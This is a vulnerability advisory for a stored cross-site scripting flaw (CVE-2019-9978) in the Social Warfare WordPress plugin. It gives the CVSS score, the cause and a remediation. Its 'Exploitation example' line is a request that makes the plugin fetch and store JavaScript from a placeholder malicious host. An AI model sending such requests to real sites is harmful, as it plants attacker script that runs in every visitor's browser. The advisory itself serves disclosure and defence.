SB2019032105 - Stored XSS in Social Warfare WordPress plugin

Description

This security bulletin contains information about 1 vulnerability.

1) Cross-site scripting (CVE-ID: CVE-2019-9978)

CWE-ID: CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv4: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:A/U:Amber

The vulnerability allows a remote attacker to perform cross-site scripting attacks.

The vulnerability exists due to usage of the eval() JavaScript call on data passed via the  "swp_url" HTTP GET parameter to "/wp-admin/admin-post.php" script, when "swp_debug" is set to "load_options", allowing to permanently inject and execute arbitrary JavaScript code on the website. A remote unauthenticated attacker can store a specially crafted JavaScript code into database and execute it in browser of every website visitor.

Note: this vulnerability is being actively exploited in the wild.

Exploitation example:

http://[host]/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://[malicious_js_script]/

Remediation

Install update from vendor's website.

References

• https://wordpress.org/support/topic/malware-into-new-update/
• https://www.wordfence.com/blog/2019/03/unpatched-zero-day-vulnerability-in-social-warfare-plugin-exp...
• https://twitter.com/warfareplugins/status/1108826025188909057
• https://blog.sucuri.net/2019/03/zero-day-stored-xss-in-social-warfare.html